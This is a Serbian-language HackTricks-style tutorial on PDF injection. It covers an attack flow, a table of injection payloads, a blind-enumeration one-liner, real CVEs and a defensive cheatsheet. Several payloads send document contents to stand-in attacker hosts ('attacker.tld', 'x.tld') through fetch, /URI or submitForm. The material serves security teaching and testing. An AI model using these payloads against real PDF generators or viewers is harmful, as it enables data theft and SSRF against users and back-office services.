PDF Injection

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Ako se vaš unos odražava unutar PDF datoteke, možete pokušati da injektujete PDF podatke kako biste izvršili JavaScript, izvršili SSRF ili ukrali sadržaj PDF-a. PDF sintaksa je izuzetno permisivna – ako možete da izađete iz stringa ili rečnika koji ugrađuje vaš unos, možete dodati potpuno nove objekte (ili nove ključeve u istom objektu) koje Acrobat/Chrome rado obrađuje. Od 2024. godine, talas izveštaja o greškama je pokazao da jedna neizbegnuta zagrada ili obrnutu kosu crtu je dovoljno za potpuno izvršavanje skripte.

TL;DR – Moderni Tok Napada (2024)

  1. Pronađite bilo koju vrednost koju kontroliše korisnik koja se završava unutar (stringa sa zagradama), /URI ( … ) ili /JS ( … ) polja u generisanom PDF-u.
  2. Injektujte ) (zatvarajući string) nakon čega sledi jedan od primitiva ispod i završite sa još jednom otvorenom zagradom kako biste zadržali sintaksu validnom.
  3. Dostavite zlonamerni PDF žrtvi (ili backend servisu koji automatski prikazuje datoteku – odlično za slepe greške).
  4. Vaš payload se izvršava u PDF pregledniku:
  • Chrome / Edge → PDFium Sandbox
  • Firefox → PDF.js (vidi CVE-2024-4367)
  • Acrobat → Potpuni JavaScript API (može eksfiltrirati proizvoljne sadržaje datoteka sa this.getPageNthWord)

Primer (otmica linka za anotaciju):

pdf
(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

Prva ) zatvara originalni URI string, zatim dodajemo novi Action rečnik koji Acrobat izvršava kada korisnik klikne na link.

Korisne injekcione primitive

CiljPayload SnippetNapomene
JavaScript na otvaranju/OpenAction << /S /JavaScript /JS (app.alert(1)) >>Izvršava se odmah kada se dokument otvori (radi u Acrobat-u, ne u Chrome-u).
JavaScript na linku/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>Radi u PDFium-u i Acrobat-u ako kontrolišete /Link anotaciju.
Slepa ekfiltracija podataka<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)Kombinujte sa this.getPageNthWord unutar JS da ukradete sadržaj.
Server-Side SSRFIsto kao gore, ali ciljate internu URL adresu – odlično kada PDF renderuje back-office usluge koje poštuju /URI.
Prelom linije za nove objekte\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobjAko biblioteka dozvoljava umetanje karaktera za novi red, možete kreirati potpuno nove objekte.

Trik sa slepom enumeracijom

Gareth Heyes (PortSwigger) je objavio jedan-liner koji enumeriše svaki objekat unutar nepoznatog dokumenta – koristan kada ne možete videti generisani PDF:

pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

Kod prolazi kroz Acrobat DOM i pravi izlazne zahteve za svaku par svojstvo/vrednost, dajući vam JSON-ish ispis datoteke. Pogledajte belešku “Portable Data exFiltration” za punu tehniku.

Real-World Bugs (2023-2025)

  • CVE-2024-4367 – Arbitrarna JavaScript izvršenja u Firefox-ovom PDF.js pre 4.2.67 zaobišla je sandbox sa kreiranom /JavaScript akcijom.
  • Bug bounty 2024-05 – Veliki fintech je dozvolio beleške o fakturama koje su dostavili kupci, a koje su završile u /URI; izveštaj je plaćen $10k nakon demonstracije SSRF na internom metapodatkovnom hostu koristeći file:/// URI.
  • CVE-2023-26155node-qpdf komanda-injekcija putem nefiltrirane PDF putanje pokazuje važnost eskapiranja obrnutih kosa crta i zagrada čak i pre PDF sloja.

Defensive Cheatsheet

  1. Nikada ne spajajte sirovi korisnički unos unutar () stringova ili imena. Eskapirajte \, (, ) kako zahteva §7.3 PDF specifikacije ili koristite heksadecimalne stringove <...>.
  2. Ako pravite linkove, preferirajte /URI (https://…) koje ste potpuno URL-enkodirali; blokirajte javascript: sheme u klijentskim preglednicima.
  3. Uklonite ili validirajte /OpenAction, /AA (dodatne akcije), /Launch, /SubmitForm i /ImportData rečnike prilikom post-procesiranja PDF-ova.
  4. Na serverskoj strani, renderujte nepouzdane PDF-ove sa headless konvertorom (npr. qpdf –decrypt –linearize) koji uklanja JavaScript i spoljne akcije.
  5. Održavajte PDF preglednike ažuriranim; PDF.js < 4.2.67 i Acrobat Reader pre jula 2024. zakrpe omogućavaju trivijalno izvršavanje koda.

References

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks